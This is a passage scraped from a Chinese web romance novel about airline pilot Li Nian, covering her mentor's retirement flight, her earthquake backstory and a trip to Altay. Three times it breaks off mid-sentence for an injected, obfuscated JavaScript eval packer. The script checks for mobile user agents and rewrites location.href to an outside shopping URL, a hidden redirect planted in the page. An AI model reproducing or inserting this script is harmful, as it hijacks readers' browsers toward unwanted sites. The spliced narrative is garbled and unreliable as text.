这是什么惊天大新闻。 开着红色法拉利处处沾花惹草的豪门公子哥,竟然有一天会栽在晋姝意这个小姑娘手里。 虽然她是白切黑来的,对付邢方洲这种“没头脑”,有些手段。 “吸溜——” 晋姝意用力一吸,杯中的饮料便见了底,剩下堆积如山的小料。 她把吸管取出来,夹在指缝里,微眯着眼睛假装潇洒地抽了口烟,然后学着茶楼里经天纬地的老头那般侃侃而谈道:“邢方洲既然打算缠着我不放,那我偏要跑到北美或者澳洲去。反正海云又没有开通这些航线,看他到时候还能怎么办。 “姐,我跟你讲,好多男的都这么贱。有人舔的时候以为自己全天下最迷人,被晾个几天就老实了,上赶着来刷存在感。” 黎念听得胆战心惊,偷偷揩了把汗。 “当然我没在说你家谢总师啊,他是不管怎样都能对你一心一意地好,这种福气是旁人羡都羡慕不来的。” “什么总师,尽瞎说。”黎念听不得这些僭越的字眼,忙去推搡她。 自从知道了谢持的工作内容,晋姝意私底下便经常开玩笑叫他总师。黎念再如何解释他只是普通的基层科研人员都没有用。 晋姝意肆意狂笑着躲开对方的攻击,又很快正色道:“对了姐,你们补办婚礼记得叫我来当伴娘噢。到时不管在哪个天涯海角,我都一定会赶过来的。” 黎念有些动容,鼻子倏地开始发酸,强颜欢笑却比哭还难看:“你个坏蛋,干嘛现在就要讲这些伤感的话,明明连托福单词都还没开始背。” 晋姝意明明还在眼前,却好似将要变成一缕捉摸不定的风,以后或许就再难见到。 朋友大多是阶段性的—— 黎念早就接受了这个现实。人生轨迹不断向前,失去和重构才是常态。 至于婚礼,她的确还没有做好心理准备。 虽然在元旦前夕回家时,她就已经被黄丽娟问过这件事了。 黄丽娟说,谢持既然已经在国内安顿下来,仪式就得尽快办了的好,免得夜长梦多。 她还说,亲家母那边也有着同样的想法。只要她们两口子愿意,等到谢思邑被洗清冤屈放出来之后,随时都可以大办婚礼。京城和老家各举行一场,保证体面又热闹。 黎念一听这些,心里就忍不住犯嘀咕。 在人生大事上面,这群长辈总是比她还要积极,热衷于给她布置一道又一道解不完的难题。估计催完婚下一步就得催生孩子了,永远都在赶作业,永远望不到尽头。 可是她只想由自己来把握节奏。 话又说回来,正常夫妻从相识相知到相爱相守,虽然具体感受不尽相同,至少每一步都走得踏实。还会有谁像她这样稀里糊涂结了婚,连个像样的求婚仪式都没有,遑论多么盛大的婚礼。 但如果谢持有心弥补遗憾的话,她说不定会考虑一下…… 和他再结一次婚。 - 农历除夕,对于民航从业者而言,不过是成千上万个工作日里再普通不过的一日。 对于黎念而言,自从成为一名飞行员,在平流层敲响新年钟声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13616997|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早已成为每年不可或缺的仪式感。 但今年除夕着实有些不一样。 方荣华将执飞海云7157航班从京城前往蓉城。 这是她退休前的最后一次飞行任务。 和她搭班的分别是大队长赵斌和左座副驾驶黎念。 海云京城飞行部特意将A350机队的航前准备室精心布置了一番。房间面积不大,但在鲜花和气球的簇拥下显得格外温馨。 “方教练员,生日快乐!” “方姐退休快乐!” 前来送行的同事们把此处围了个水泄不通,纷纷和方教练员握手合影。 “最后一天了,”方荣华站在两名搭档的中间,从身后揽住他们的肩膀,用力地拍了拍,“非常感谢你们来送我。以后我就不再是你们机长,而是个退休老太婆了。” 在场所有人都情不自禁笑出了声。 “能够参与方姐的最后一班飞行是我的荣幸,”赵斌难得露出真诚的笑容,“您头发都还这么多,永远年轻着呢。” 他最近就像转了性子,说话也不夹枪带棒的,好多年轻飞行员为此私下讨论得火热。江湖传闻他马上就要高升,正春风得意着,也不知之后会攀到哪根高枝上去。 至于黎念,尽管早已做好心理准备,脑海里演练了无数次当天要和师父怎样道别,她在出发进场前的最后一刻还是难以自持地红了眼眶。 “哦哟哟——”方荣华掌心覆在她脸颊上,拇指替她拭去眼角下的水痕,环顾四周对着众人放声笑道,“看这个丫头,一说就要哭鼻子了。” 黎念本来顶着个苦瓜脸,又被哄得破涕为笑,连忙摆摆手装作无事发生。 机组和乘务组一行人拖着飞行箱浩浩荡荡前往机组车。 路上遇到的所有同事都在和方荣华热情打招呼。她大手一挥发出去许多红包,博的是新年红红火火的好彩头。 零下十度的低温环境里,方荣华婉拒了黎念代其行事的请求,躬亲做了最后一次绕机检查,签了最后一次油单。 最后,在京城空管的深情祝福下,海云7157满载着这位功勋飞行员近四十年的蓝天回忆从35R跑道抬轮升空。 从新中国第五批战斗机女飞行员,到民航飞行教练员,方荣华驾驶过初教-6、伊尔-76、A320、A330、A350等机型,安全飞行时间超过26000小时,获得过民航总局颁发的安全飞行金质奖章。 她的离开就像是一段黄金时代的落幕。 与此同时,更多的人已经提前候在蓉城天府机场的既定停机位,只待见证她的封箱演出。 平时从不肯在飞行时聊天的方荣华难得有兴致和黎念搭话。 “知道为什么是这条航线吗?” 黎念傲娇地昂起头:“蓉城是我老家嘛,师父最疼我了。”如果她身后长了尾巴,那一定早就翘到天上去。 方荣华嗤笑一声:“臭屁得很。”嘴边挂着嫌弃,眼睛却笑得弯弯,盈满快要溢出来的宠溺。 她是严师,也愿做慈母。 黎念难为情地撇撇嘴,小声嘀咕道:“海云的A350总共就飞那么几条国内航线,您说是巧合我也信的。” “你没有忘记我们第一次见面的地点吧,黎念。”方荣华话锋一转,声音如钟磬般浑厚而响亮。 她平时很少直呼小辈们的全名。 这过分严肃的语气把黎念吓得一激灵。 方荣华知道,十年前的大地震是黎念始终不愿去直面的心理创伤,所以这些年她极少主动和对方提起往事。 但她接下来要说的是埋藏于心底多年的肺腑之言。 “京蓉航线,一定会从芦县上空飞过,那里是你的家乡,是当年的地震灾区……” 51. 塔耳塔洛斯 十年前,一场震源在文县的八级大地震将山河撕碎,打乱了无数人的人生轨迹。 包括黎念,还有方荣华。 应民航局要求,海云应急指挥中心紧急调配两架A320投入到救灾运输工作中。 彼时刚放教练员的方荣华临危受命,负责带领机组运送救灾官兵前往蓉城。 受灾地区交通一度中断,掩埋在一道道山沟里,四散成一座座孤岛。里面的人出不来,外面的人进不去。 余震又如高悬的达摩克利斯之剑,随时可能造成次生灾害,救援形势千钧一发。 而唯一有能力深入灾区核心地带的通航面临着人手短缺的问题,急需支援。 方荣华曾于川省服役,熟谙西南山区险象环生的峡谷航路,是海云派出的飞行员中最合适不过的人选。她主动请缨,驾驶直升机将大量伤员从各个道路封闭的乡村中转移出来。 后来,在收治大量伤员的芦县人民医院里,她亲眼目睹无数天人两隔的悲剧,也初次遇见了黎念—— 这个在病房里撕心裂肺哭喊着的小女孩闹出的动静实在太大,很难不引起旁人的注意。 “怎么回事?”方荣华站在病房门前,一把拦住推着治疗车正准备往里走的护士。 护士本来忙得不可开交,情急之下没好气地白她一眼,见她身穿深蓝飞行服、肩上四道金黄竖杠,一副不怒自威的派头,态度不由得缓和几分。 “这个妹妹的头被砸成脑震荡还缝了针,说是以后莫法参军当宇航员了,”护士用不甚标准的普通话答道,“今天好像还听说她老汉不知是失踪还是死了,哎呀,反正挺造孽的。 “但是躺在这里的人,哪个又不造孽呢?” 方荣华闻言心下凛然,往房内瞥了一眼,不禁悲从中来。 这是个普通病房,平时只能住三个病人,空间狭小得无从下脚,此刻竟然横七竖八挤满了伤员,哀鸿遍野。 冰裂的纹路爬满墙壁,墙皮灰尘落了一地,显得老旧又脆弱,却无意间成为风暴中心里最坚固的避风港。 小女孩大抵是哭累了,独自抱膝坐在地上,缩在阴暗潮湿的角落里。 方荣华在见到她的一瞬间,顿时生出想要为她做点什么的冲动。 “我曾经就是空军飞行员,我能进去和她说说话吗?”方荣华尝试征求护士的同意。 护士抿抿嘴表示默认,甚至心想着,她要是能让那个女娃彻底安静下来就再好不过了。 方荣华踮着脚从人体之间的缝隙里淌过去,来到黎念面前,然后半蹲下身子平视着她。 “在想什么?” 黎念不动声色地把脸埋进臂弯里,对来人熟视无睹。 方荣华并未觉得受挫,反倒低低笑出了声:“我猜你在想,你的人生从此是不是就完蛋了。” “你——”黎念像是被她隔岸观火的态度激怒,睁着雾蒙蒙的双眸猛然抬头。 臂章的一抹鲜红就这样猝不及防撞入视线。服装制式和航天员在太空舱里穿的连体服有些相像,只是国旗的位置略有不同。 肩上四道杠,她是机长。 “你好,我叫方荣华,”方荣华向黎念伸出手,“原空军航空兵运输机飞行员。” 熟悉的字眼滴落在黎念心间,荡漾起层层叠叠的涟漪。 她被某种力量驱使着,颤巍巍地回握住对方温热的手掌。上面残留的经年老茧并不硌手,反倒有一种敦厚的安全感。 “九十年代我驾驶的机型退役,不巧又赶上大裁军,我便从部队退下来,”方荣华意味深长地凝视着她,将那些陈年往事娓娓道来,“当时我也差点以为人生玩完了。已经习惯飞翔的人,坠落到地面重新学习走路,怎么会是简单的事情。 “我选择转业到民航,改装空客飞机,一直飞到了现在。” 黎念听得入神,仿佛全然从痛苦中短暂抽离出来,思绪随着她的话语浮游到了云际。 “小姑娘,看样子你还在上中学吧?”方荣华终于回归正题。 黎念先是一怔,然后点点头。 方荣华感慨万千:“太年轻了,人生才刚开始。 “你的事情我已经听说了,已成定局的事情无法改变,当不了航天员就是当不了。没人有权力在空军招飞的时候替你徇私舞弊,就算你侥幸混进去,长期下来身体也承受不住那种训练强度。” 这话不加任何修饰,在黎念听来过于刺耳。 她还保持着原来的坐姿,下巴轻抵在膝盖上,背脊梁骨高高隆起,整个人佝偻得不成样子。 方荣华嘴角噙着笑,轻抚过她的头顶,语重心长:“可是你有没有思考过,梦想真的只是某个具体的职业吗?实现梦想只有这一条道可以走吗? “如果这场地震带走的不仅仅是你的招飞资格,还有你完整的身体,就像外面那些排队等着做手术截肢的人一样,那你又当如何自处……” 手机铃声骤然响起。她说了声“抱歉”,然后扭过头去接电话。原来是救援队接到新的任务,催促她紧急归队。 “孩子,好好把握吧,去做你觉得有价值的事。”她利落站起身。临行前,手在黎念肩膀上重重按了一下。 夕阳斜照,金色光辉透过半旧的玻璃窗洒入病房,斑驳光点落在方荣华的侧脸上,边缘虚化到近乎透明。 那是黎念第一次在人的身上看到神性,如大地之母,悲悯、蓬勃、坚韧不拔。 “女士们,先生们,我是本次航班的机长,中国民航‘功勋飞行员’方荣华。欢迎大家选乘海云航空,从京城大兴飞往蓉城天府。这是我二十六年民航飞行生涯的最后一次任务,能够和各位携手共度这两小时十分钟的美妙时光,我倍感荣幸……” 飞机落地后,方荣华专程从驾驶舱里走出来送别每位乘客,也顺理成章化身为流动的拍照打卡景点。 后来,做完职业生涯最后一次清舱工作,她在雷动般的掌声中缓慢地走下舷梯,并对着前来迎接的所有人敬了一个标准的军礼。 黎念紧随其后,望着远处不断涌动的黑压压的人潮,恍若隔世。 “我的心愿已经实现了,此生已无憾了,”方荣华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659229|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头对她粲然一笑,“小念,你觉得有价值的事到底是什么呢?” - “受到多个日冕物质抛射过程的影响,5月10日、11日可能出现地磁活动。 “地磁暴发生期间,飞行在大气层平流层底部高度区域的飞机可能面临通讯环境变差和跨极区辐射的双重风险。 “我国北方地区将有极大几率出现极光。对于极光爱好者而言,这或许是足不出户就能观测奇景的绝佳机会……” 黎念将车载广播调至静音,然后浑身无力地歪倒在车窗上,捂耳皱眉继续睡觉。 半小时前,她尚在睡梦中就被谢持一把从被窝里捞出来,眼睛还惺忪着就任由他折腾,走完了起床的必要流程。 直到安全带稳稳当当地落上卡扣,把她牢牢钉在座位里,她还跟丢了魂似的,完全没有反应过来自己到底身处何方。 “不是说好要回老家吗?”黎念怕自己看走眼,把机票拿近了些,反复确认目的地写的是阿勒泰而不是蓉城,然后暴跳如雷。 她从来不休春节,辛苦攒起来的年假天数都是为了方便她在黎志明忌日前夕回家吊唁,今年也不例外。 谢持甚至还信誓旦旦要跟她一块儿去见老父亲,绝不会出半分差错。 “当然得回,回程的机票都买好了,你们友司在夏秋航季新开的阿勒泰-蓉城直飞航班,”谢持一手推着行李箱,另一手揽住她的肩膀强行往安检口带,“不过在此之前,我们得去那边办一件正事。” 黎念听得云里雾里。 她想不明白那里除了可以见到他的好朋友常斐然,到底还有什么值得她牺牲宝贵假期时间去做的正事。 经过四小时飞行,A320飞机于正午时分降落在雪都机场。 自从飞重型机,黎念就再也没有来过这种4C级支线机场。从起落架接地到取行李再到走出航站楼,总共耗费不到二十分钟,顺利得令她头皮发麻。 她想,要是国内一二线城市的大机场也能如此高效,她或许可以少挨点莫名其妙的投诉。 毕竟有些人总觉得飞机落地后迟迟不下客是机长故意为之。 时值五月中旬,阿勒泰正处于春夏之交,阳光热烈明媚,微风里间或夹杂着冷冽的气息,四处充斥着城市钢铁森林里无法吸取到的高浓度负离子。 来接他们的车正停在台阶下方的柏油马路上,是辆高大方正的越野车,通体漆黑、威风凛凛,却很礼貌地避开了斑马线,颇有几分“心有猛虎细嗅蔷薇”的反差感。 常斐然将车门随手带上,三步并作两步迎上前,将沉甸甸的行李箱从谢持手中接过去。 “你摔断的手现在好了?”谢持好整以暇地挑眉道。 常斐然横他一眼,用空余出来的手暗戳戳比了个中指。 汽车飞速行驶在人烟稀少的国道上,窗外荒凉壮丽的景观让人不由得联想到古代边塞诗所蕴含的逸兴遄飞。 近处原野平坦开阔,远处群山连绵成片。葱郁的胡杨树挺立于道旁,黑棕白色的牛羊星罗棋布地点缀在浅滩周围。 52. 塔耳塔洛斯 谢持把常斐然的手机夺了过去,在锁屏界面按下切歌的按键。 曲风陡转,笛声萧萧,随着费玉清老师深情的唱腔响起,车内所有人不约而同地窘了一下。 “真情像草原广阔, “层层风雨不能阻隔, “总有云开日出时候……” 黎念先是惊讶于常斐然独特的听歌品位,然后对谢持随随便便切掉她喜欢的歌曲的霸道行径颇感不满。 “喂,你干嘛!” 她用一指禅狠狠地朝他身上戳去。 谢持整个人紧绷起来,鼻腔里逸出一声闷哼。 “看样子是不好意思了。”常斐然看热闹不嫌事大,搭腔道。 黎念才不信,掐住谢持的脸颊肉迫使他转过头来直视自己,几乎是报复性地问道:“天啊,老公,这只是人家吉他手写给暗恋对象的情歌,怎么还能让你听害羞了呢?” 她平时在外人面前开他玩笑时才会主动用“老公”这个称呼,私底下则是心存忌惮的。 一是觉得拗口,二是怕他发疯。 谢持喜欢在床上哄骗黎念变着法子地叫他。 她每每情到浓时,就会不由自主地被他带偏。而似乎也只有这样才能直抵最愉悦的彼岸。 后果往往不堪设想。 “嗯。”谢持惜字如金,眸色渐渐暗下去。 黎念见他那副守口如瓶的死样子,知道从他身上套不出什么有价值的信息,自觉没劲便松开了魔爪,同时暗下决心要找常斐然多多刺探情报。 接近下午两点,一行人来到布尔津县城稍事休整。 黎念在飞机上光顾着睡觉,没怎么吃早餐。等到车刚驶离阿勒泰,她就开始吵嚷着肚子饿,结果被常斐然以“没到新疆人的饭点”为由无情拒绝。 好不容易吊着半条命捱到了闹市区,看见满街花里胡哨的餐厅招牌,她登时就满血复活过来。 “常斐然,你们的民宿也能有这么好吃的冷水鱼吗?”黎念埋头扒饭的间隙不忘盘算下一顿的事情。 “对不起。可能会让你失望了。”常斐然每每说话只说半截,剩下的全叫人去猜。 “……?” 黎念不可置信瞪大眼睛,转而看向身旁一言不发的男人。 谢持平时在各种聚会上就不爱主动说话,今天则显得格外沉默,竟然把给人以内敛印象的常斐然也衬托得活泼大方起来,倒也算得上是一桩奇事。 事出反常必有妖。 黎念剜他一眼,脸上的五官都皱到了一起,眼神里面更是不加掩饰写满嫌弃。 从布尔津县城出发,距离景区仅剩一百多公里。 汽车一路向北,疾驰在平坦宽阔的旅游公路上。下了高速后,又迅速丝滑地拐进一条盘虬崎岖的山路。 周遭开始呈现出高山草甸的奇异景观。 黎念心中油然生出不祥的预感—— 常斐然所说的“失望”大概是一语双关。 这里前不着村后不着店的,方圆几十里都是无人区。 如果他们拿棍子把她敲晕装麻袋里扔到山坡底下,等到路过的牧民发现时,她早都零落成泥碾作尘了。 想想也是离谱到家。 黎念被自己幼稚的脑洞气得发笑,无奈摇摇头,然后抱住手臂冷眼静观其变。她倒要看看这两个人能整出什么幺蛾子。 车速渐渐放慢,呼啸而过的景色在某一瞬间清晰定格。形似蒙古包的白色尖顶小房子在群山怀抱之间星星点点地散落着。 广袤天地里,人类试图改造自然的痕迹不过是沧海一粟,显得微不足道,又伟大坚毅。 离“蒙古包”越来越近,常斐然打着转向灯变到右道,继而从路沿硬生生驶下去。轮胎吃力地辗过乱石堆,整个车厢都在剧烈颠簸。 黎念刚在微信对话框里打下来的一长串字直接被抖得撤销掉。 最后,越野车停在了园区大门前。 谢持先行下车,从后备箱取了行李便轻车熟路往里走去。黎念紧随其后,注意力却被门口的破旧牌匾吸引,于是停住脚步。 上书“xxx牧家乐”,前几个字已经风化模糊。她抬头仔细辨认了半天都看不清写的什么。 “这……不会就是你开的民宿吧?” 黎念面露难色,用试探的眼神望向常斐然,试图得到对方否定的回答。意识到自己的话可能有些冒犯,她又连忙捂住嘴,假装什么也没说过。 常斐然倒是无所谓地耸耸肩,似乎早已习惯了别人的质疑:“是的,准确来说是毡房营地。我之前从一位哈萨克族老牧民那里盘下来的。” “噢——”黎念似懂非懂地感叹了一声。 来这里之前,她事先在网上搜过北疆旅游攻略。禾木村里最常见到的民宿是小木屋,冬日淹没在厚厚的积雪中,就像格林童话里才会出现的梦幻场景。铺上羊毛毯缩在火炉旁,从玻璃窗外眺望巍峨的雪山,显得温暖又舒适。 她本以为常斐然的产业也走的这种高端大气上档次的路线,没想到忒接地气了点。 甚至都没在景区里,而是在人迹罕至的荒郊野岭…… 好在黎念不怎么挑剔住宿环境,和衣而卧两眼一闭就能睡到天亮。她更担心的是谢持,那个吃门钉肉饼都要给桌子消毒的人。 感觉他如果半夜三更被冻醒的话,会偷偷开车去景区里面找酒店…… 走神之际,毡房的门帘被人掀开。 笑声先从里面飞了出来。 “念念姐,等你好久啦!欢迎来我家民宿玩!” 黎念正寻思着自己好像并没有遗落在阿勒泰的人脉,定睛一看,来人是个年岁约莫二十出头的陌生小姑娘。 她脑后垂下来两根麻花辫,随着跑动姿势跃动在肩头,白色裙摆如潮汐一般翩跹纷飞。 她说的是“我家民宿”,亲昵得很。 “你女朋友?”黎念狐疑地看向常斐然,自认为这个猜测很合理。 常斐然眼睛都不眨一下:“民宿的义工,去年冬天来的。” 黎念心想他作风老派,应不至于扯谎,便姑且选择相信他的话,冲着女孩招招手。 施虞可甫一见到黎念便挽住她的手臂朝里面带去,一路上都在絮絮叨叨个不停,介绍民宿的大致情况。两个人聊得投缘,就好像是神交多年的老友。 进入房间内部,迎面而来首先是不容忽视的大通铺,上面铺着纹样精美复杂的绣毡,被褥枕头叠放整齐排列在墙角。满墙壁毯极富民族风格,仿佛杂糅世间所有色彩,看得黎念眼花缭乱。 “怎么样?这里原本除了枕头被子什么也没有,装饰都是我加上去的,”施虞可插着腰神气道,“看着才有生活气息嘛!” 话罢,她倒了碗奶茶递给黎念。 黎念笑着接过来浅抿一口,轻轻蹙眉并未多言,旋即把瓷碗随手搁在旁边的木桌上。 而这些细微的情绪都被施虞可敏锐捕捉到。她心领神会,随口打声招呼便径直走出毡房,在外面倒腾了半晌,很快又端着一个印着红色小心心的马克杯回来。 “有些客人喝不惯传统奶茶,我都会提供隐藏酒水单,给他们做内地流行的样式,”施虞可话匣子一打开便滔滔不绝道,“常斐然说塑料会污染环境,不让我用塑料杯装奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689762|132713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶,所以我只好换个容器…… “可能看起来不是很有食欲,但味道还是大家认证过的好,尤其是巴合波力那个小屁孩,以前总吵着让我带他去县里喝蜜x冰城,现在也喜欢喝我做的奶茶了。 “你尝尝?” 黎念盛情难却,只好赧然谢过,无意间嗅到杯中飘来的淡淡苹果香气。 “你把这里的一切都打点得很好。”她情不自禁赞叹道。 施虞可眼里闪过落寞,敛着裙摆坐在她身旁,仰头望向半开的天窗,喃喃自语:“还是有很多遗憾啦。门口的招牌我一直想换掉,每次都被老板回绝。 “我还想带着大家一起搬到禾木去改善生活条件,可是他们似乎很眷恋这里,没人愿意离开。” “是什么支撑你坚持下去的?”黎念定定看她,渴切地想要获得答案。 “大概……”施虞可作深思状,眼睛滴溜溜转了一圈,随即展开笑容,“或许是因为常斐然看起来真的很需要有人拉他一把。” 黎念捧着马克杯陷入了沉默,时不时浅啜两口苹果奶绿。果然是外面冷饮店能做出来的味道,她很喜欢。 “话又说回来,念念姐,”施虞可话锋一转,俏皮地眨了眨眼睛,“我真的很想向你取经,怎样才能把像谢持那样的大帅哥变成男朋友呀?” “咳咳咳……”黎念猝不及防被呛到。 她的感情经历完全没有任何参考价值好吧! 施虞可帮忙拍背顺气,神情满是担忧:“姐姐,我没有别的意思。” 黎念好不容易缓过来劲,意味深长地盯着她:“严格意义上来说,是他先追的我。” 当然经过了一些艺术加工,真实情况并非她描述的这样,还要复杂许多。 施虞可脆弱的小心灵像是遭受了天大的打击,掩面嚎啕道:“早知道就不问你了!” 她不一会儿又多云转晴,拉着黎念一直说个不停。 直到落霞满天时,消失许久的谢持和常斐然终于风尘仆仆地回到毡房里面,女孩子之间的话题才被迫终结。 在民宿帮工的哈萨克族阿姨替他们收拾好餐桌,端上来几道常见的菜式,又腼腆地笑着离开。 “我们这里条件比较简陋,没有办法做鱼,很抱歉让你失望了。”常斐然对黎念认真说道。 黎念吓得连忙摆手:“别介,我中午就是随口一问,没有别的意思。这一桌子菜已经很丰盛了,看着也香。” “不嫌弃就好。”常斐然深深看她一眼,像是话中有话。 可是黎念舟车劳顿一天,哪顾得上揣摩他的别样意图,而是专心致志吃起饭来。 中途,谢持从带来的行李箱里取出一支全新未拆封的红酒,怡然自若地将酒倒进一次性纸杯里,分给众人。 常斐然见状惊掉下巴:“你用纸杯喝康帝,有事先问过酒的意见吗?” 谢持冷冷瞥他:“你有意见?” 言简意赅,略带着压迫感。 常斐然懒得跟对方拌嘴,轻哼了一声,像是有意说给旁人听似的:“今天某些人要办一件大事,开瓶罗曼尼康帝又算得上啥。” 话音未落,他便被谢持用眼神通体凌迟了一遍。在场仅剩的那个知情者也被吓得倒一口吸凉气。 只有黎念还被蒙在鼓里,茫然吃瓜:“什么大事?” 两个僚机眼神躲闪,慌乱中试图紧急圆场,却支支吾吾了半天。 反观谢持倒是风雨不动,晃荡着手里的纸杯,悠悠道:“专程来一趟新疆,就是为了今晚陪你看极光,原本计划是要对你保密的。国内难得有这么好的机会,当然要庆祝一下。”